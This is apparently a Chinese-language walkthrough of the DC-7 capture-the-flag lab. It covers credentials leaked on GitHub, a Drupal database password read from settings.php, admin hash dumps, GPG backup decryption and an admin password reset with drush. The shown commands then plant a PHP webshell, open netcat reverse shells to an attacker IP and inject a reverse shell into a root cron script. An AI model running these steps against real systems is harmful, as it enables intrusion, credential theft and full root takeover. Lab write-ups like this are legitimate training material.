信息收集
提示爆破不可行,在底部有个@DC7USER
特征,使用谷歌浏览器搜索
搜索到github Dc7User项目
https://github.com/Dc7User/staffdb/blob/master/config.php
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
尝试登录ssh,$password = "MdR3xOgB7#dW";
ssh dc7user@192.168.103
配置文件
文件路径:/var/www/html/sites/default/settings.php
$databases['default']['default'] = array (
'database' => 'd7db',
'username' => 'db7user',
'password' => 'yNv3Po00',
'prefix' => '',
'host' => 'localhost',
'port' => '',
'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
'driver' => 'mysql',
);
使用配置文件找到到数据库账户登录,'password' => 'yNv3Po00'
mysql -h 127.0.0.1 -u db7user -p
查询表名
show tables;
查询管理员
select * from users_field_data\G;
MariaDB [d7db]> select * from users_field_data\G;
*************************** 1. row ***************************
uid: 0
langcode: en
preferred_langcode: en
preferred_admin_langcode: NULL
name:
pass: NULL
mail: NULL
timezone:
status: 0
created: 1567054076
changed: 1567054076
access: 0
login: 0
init: NULL
default_langcode: 1
*************************** 2. row ***************************
uid: 1
langcode: en
preferred_langcode: en
preferred_admin_langcode: NULL
name: admin
pass: $S$Ead.KmIcT/yfKC.1H53aDPJasaD7o.ioEGiaPy1lLyXXAJC/Qi4F
mail: admin@example.com
timezone: Australia/Melbourne
status: 1
created: 1567054076
changed: 1567054076
access: 1567098850
login: 1567098643
init: admin@example.com
default_langcode: 1
*************************** 3. row ***************************
uid: 2
langcode: en
preferred_langcode: en
preferred_admin_langcode: en
name: dc7user
pass: $S$EKe0kuKQvFhgFnEYMpq.mRtbl/TQ5FmEjCDxbu0HIHaO0/U.YFjI
mail: dc7user@blah.com
timezone: Australia/Brisbane
status: 1
created: 1567057938
changed: 1567057938
access: 0
login: 0
init: dc7user@blah.com
default_langcode: 1
3 rows in set (0.00 sec)
查看邮件
在当前用户目录下,存在mbox文件,打开是邮件信息
其中/opt/scripts/backups.sh
文件可能是敏感信息,或者提权方法
backups.sh
文件信息:
drush 是 Drupal 利用命令行方式对Drupal网站进行管理。
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
这条命令是将备份的sql文件加密为gpg格式。
chown dc7user:dc7user /home/dc7user/backups/*
将上面gpg加密后的文件,保存在该用户下的backups目录。
rm
后续就行删除原文件,没有加密的版本。
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
gpg解密
首先解密gpg加密的 website.sql
和 website.tar.gz
,两个加密文件路径/home/dc7user/backups
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --decrypt website.sql.gpg > website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --decrypt website.tar.gz.gpg > website.tar.gz
修改密码
将解密后的sql文件打开,修改admin的密码值,设置为弱口令,admin所在的表名称:users_field_data
INSERT INTO `users_field_data` VALUES (0,'en','en',NULL,'',NULL,NULL,'',0,1567054076,1567054076,0,0,NULL,1),(1,'en','en',NULL,'admin','$S$Ead.KmIcT/yfKC.1H53aDPJasaD7o.ioEGiaPy1lLyXXAJC/Qi4F','admin@example.com','Australia/Melbourne',1,1567054076,1567054076,1567098850,1567098643,'admin@example.com',1),(2,'en','en','en','dc7user','$S$EKe0kuKQvFhgFnEYMpq.mRtbl/TQ5FmEjCDxbu0HIHaO0/U.YFjI','dc7user@blah.com','Australia/Brisbane',1,1567057938,1567057938,0,0,'dc7user@blah.com',1);
将admin密码替换为下面的密文
$S$EI5.DlvEoeACeYAQSTlH12Ftrm4v0OTFZJyyifl1j6F2rkw8Ohg3 明文 123456
将修改后的sql文件上传
导入数据库命令,注意:要在/var/www/html 目录执行 drush 命令,不然会报错。
drush sqlc < /home/dc7user/website.sql
奇怪的是admin密文是修改了,但是登录不上网站,不理解。
最后看了一些攻略,发现大佬直接使用命令修改,下面是语句:
drush user-password admin --password="123456"
在修改密码后,因为输错密码5次,导致admin用户被限制了,我重新使用 drush sqlc
导入sql才解除限制
接着使用修改的admin用户登录网站
admin 123456
安装插件写一句话
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
将插件链接填入对应位置,点击install,就会自动下载安装
新建文章
访问文章链接,链接菜刀
计划任务提权
反弹shell
命令
nc -lvnp 2233
nc 192.168.0.101 2233 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'
backups.sh
从邮件信息中,知道/opt/scripts/backups.sh
该文件使用root 权限执行的,有没有可能用该文件修改 Drupal 管理员密码或者提权呢
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
权限分配,所有者(root)和所属组(www-data)都有读、写和执行权限,其他用户只有读和执行权限
现在我们拥有了www权限用户,可以利用backups.sh 文件来提权了
漏洞利用
在backups.sh 文件添加反弹shell代码,
nc 192.168.0.101 2333 -e /bin/bash
监听 nc -lvnp 2333
等待上线,需要几分钟